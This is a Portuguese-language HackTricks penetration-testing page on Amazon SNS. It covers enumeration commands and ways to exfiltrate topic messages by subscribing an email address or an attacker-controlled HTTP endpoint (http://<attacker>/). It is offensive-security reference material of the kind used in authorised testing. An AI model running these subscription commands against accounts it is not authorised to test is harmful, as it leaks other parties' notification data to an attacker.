AWS - SNS Enum

Support HackTricks

SNS

O Amazon Simple Notification Service (Amazon SNS) é descrito como um serviço de mensagens totalmente gerenciado. Ele suporta tanto tipos de comunicação aplicação-para-aplicação (A2A) quanto aplicação-para-pessoa (A2P).

As principais características para comunicação A2A incluem mecanismos de publicação/assinatura (pub/sub). Esses mecanismos introduzem tópicos, cruciais para permitir mensagens push-based de alto desempenho e muitas-para-muitas. Esse recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, sistemas publicadores podem distribuir mensagens de forma eficiente para uma ampla gama de sistemas assinantes, facilitando um padrão de mensagens de fanout.

Diferença com SQS

SQS é um serviço baseado em filas que permite comunicação ponto a ponto, garantindo que as mensagens sejam processadas por um único consumidor. Ele oferece entrega de pelo menos uma vez, suporta filas padrão e FIFO, e permite retenção de mensagens para tentativas e processamento atrasado. Por outro lado, SNS é um serviço baseado em publicação/assinatura, permitindo comunicação um-para-muitos ao transmitir mensagens para múltiplos assinantes simultaneamente. Ele suporta vários endpoints de assinatura, como email, SMS, funções Lambda e HTTP/HTTPS, e fornece mecanismos de filtragem para entrega de mensagens direcionadas. Enquanto ambos os serviços permitem desacoplamento entre componentes em sistemas distribuídos, SQS foca na comunicação em fila, e SNS enfatiza padrões de comunicação orientados a eventos e de fan-out.

Enumeração

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Observe que se o tópico for do tipo FIFO, apenas assinantes usando o protocolo SQS podem ser usados (HTTP ou HTTPS não podem ser usados).

Além disso, mesmo que o --topic-arn contenha a região, certifique-se de especificar a região correta em --region ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região.

Acesso Não Autenticado

Escalação de Privilégios

Pós Exploração

Persistência

Referências

Suporte ao HackTricks

Last updated